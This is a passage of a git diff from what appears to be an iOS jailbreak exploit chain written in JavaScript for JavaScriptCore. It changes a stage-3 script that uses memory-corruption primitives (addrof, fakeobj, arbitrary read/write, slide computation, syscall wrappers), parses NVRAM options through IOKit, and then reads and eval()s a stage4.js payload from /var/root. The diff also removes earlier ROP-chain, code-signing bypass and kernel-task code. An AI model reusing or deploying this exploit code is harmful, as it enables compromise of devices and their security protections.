+var IOMasterPort = scall_wrapper("IOMasterPort");
+var exit = scall_wrapper("exit"); \ No newline at end of file
diff --git a/src/js/main.js b/src/js/main.js
index 0a1de50..e077fbe 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -22,23 +22,53 @@ var MAP_ANON = 0x1000;
var victim = {a: 13.37};
if (0) {
-/*
- * leftover shit from jsc_fun, used to be using `log`
- */
-try {
- puts("we out here in jsc");
-} catch (e) {
/*
- * we don't have puts. :(
+ * leftover shit from jsc_fun, used to be using `log`
*/
-
- puts = function (){};
+ try {
+ puts("we out here in jsc");
+ } catch (e) {
+ /*
+ * we don't have puts. :(
+ */
+
+ puts = function (){};
}
}
var JSStringCreateWithUTF8CString = 0x239f9d0d;
var JSObjectGetProperty = 0x239fa411;
var JSContextGetGlobalObject = 0x239f8dfd;
+var bootstrap_port = 0x10b;
+var kCFBooleanTrue;
+var kCFBooleanFalse;
+var kCFPreferencesAnyUser;
+var kCFPreferencesCurrentHost;
+var kIOMasterPortDefault = NULL;
+var options = {};
+
+function parse_nvram_options() {
+// read_u32(dlsym(dlopen("/System/Library/Frameworks/IOKit.framework/IOKit", RTLD_NOW), "kIOMasterPortDefault"));
+ var kIOMasterPortDefault_ptr = shit_heap(4)
+ IOMasterPort(bootstrap_port, kIOMasterPortDefault_ptr);
+ kIOMasterPortDefault = read_u32(kIOMasterPortDefault_ptr);
+ var registry_entry = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/options");
+
+ if (registry_entry) {
+ var p0laris_options_size = shit_heap(4);
+ write_u32(p0laris_options_size, 0x4000);
+ var p0laris_options = malloc(read_u32(p0laris_options_size));
+
+ if (IORegistryEntryGetProperty(registry_entry, "p0laris_options", p0laris_options, p0laris_options_size) == KERN_SUCCESS) {
+ var p0laris_options_buf = read_buf(p0laris_options, read_u32(p0laris_options_size));
+ var p0laris_options_js_str = "";
+ for (var i = 0; i < p0laris_options_buf.length; i++) {
+ p0laris_options_js_str += String.fromCharCode(p0laris_options_buf[i]);
+ }
+ options = JSON.parse(p0laris_options_js_str);
+ }
+ }
+}
function main() {
/*
@@ -56,16 +86,12 @@ function main() {
init_sptr_heap();
- scall("printf", "%x %x %x %x\n", 0x41, 0x42, 0x43, 0x44);
+ syslog(LOG_SYSLOG, "we out here");
+ syslog(LOG_SYSLOG, "stage3");
puts("we out here");
puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?");
- printf("slide=0x%x\n", slide);
- printf("*(uint8_t*)base = 0x%x\n", read_u8(base));
- printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
- printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
-
var dyld_shc_slide = get_dyld_shc_slide();
sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide;
@@ -74,99 +100,30 @@ function main() {
prep_shit();
- large_buf[0] = 0x41424344;
- printf("%x\n", read_u32(large_buf_ptr));
-
setup_fancy_rw();
- csbypass();
-
- return;
-
-
- printf("%s\n", hexdump(read_buf(0x422200, 0x200), 8, 2, 0x422200, 8, '0'));
+ parse_nvram_options();
-//return;
- var tfp0 = get_kernel_task();
-
- printf("tfp0=%x\n", tfp0);
-
- return;
-
- printf("dead?\n");
- var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim"));
- printf("dead? %x\n", string_ref);
- var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
- printf("dead? %x\n", global_object);
- var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
- printf("dead?\n");
-
- printf("%x\n", jsobj_addr);
-// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0'));
- victim.target = parent;
- printf("%x\n", read_u32(jsobj_addr + 0x18));
-// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10));
-// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0'));
-
- /*
- UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL"
- message:@"Dee dee doo doo."
- delegate:self
- cancelButtonTitle:@"OK"
- otherButtonTitles:nil];
- [alert show];
- */
-
- return;
-
- var rop_buf = new Array();
- var nop = (0x781a | 1) + slid;
- var zero_arr = [].slice.call(u32_to_u8x4(0));
- var nop_arr = [].slice.call(u32_to_u8x4(nop));
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(nop);
- for (var i = 0; i < 0x40000; i++) {
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(nop);
- if (i % 0x1000 == 0) {
- printf("%x\n", i);
+ if (options["sleep_spin"] === true) {
+ while (1) {
+ sleep(3600);
}
}
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0);
- rop_buf.push(0x41414141);
- printf("gen'd buf\n");
+ var stage4_bin = malloc(0x400000);
-// printf("%s\n", rop_buf[0].toString(16));
-
- printf("exec'ing\n");
- exec_rop(rop_buf);
- printf("done\n");
+ var fd = open("/var/root/stage4.js", O_RDONLY, 0);
+ var bytes_read = read(fd, stage4_bin, 0x400000);
+ var stage4_bin_buf = read_buf(stage4_bin, bytes_read);
+ var stage4_js_str = "";
+ for (var i = 0; i < stage4_bin_buf.length; i++) {
+ stage4_js_str += String.fromCharCode(stage4_bin_buf[i]);
+ }
-// var tfp0 = get_kernel_task();
+ printf("stage4 time baby\n");
+ eval(stage4_js_str);
-// printf("tfp0=%x\n", tfp0);
+ exit(main());
return;
-
- var i = 0;
- while (true) {
- syslog(LOG_SYSLOG, "get rekt from jsc %d (slide=%x)\n", i, slide);
- sleep(0);
- i++;
- }
-
- printf("still alive\n");
};
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index e38026f..a581c91 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -403,7 +403,7 @@ function scall() {
args_to_pass.push(sptr(arguments[i]));
} else {
args_to_pass.push(arguments[i]);
- if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000) && (i == 1 || i == 3)) {
+ if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000)/* && (i == 2 || i == 4)*/) {
force_callnarg = true;
}
}
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index 633a082..0c03090 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -336,7 +336,6 @@ function fakeobj(addy) {
function leak_vec(arr) {
var addy = addrof(arr);
- printf("%x\n", addy);
return read_u32(addy + VECTOR_OFFSET);
}
@@ -345,6 +344,4 @@ function setup_fancy_rw() {
write_u32(0x422290, 0x0);
fancy_rw = true;
-
- printf("%08x\n", u8x4_to_u32([parent[0x5000], parent[0x5001], parent[0x5002], parent[0x5003]]));
}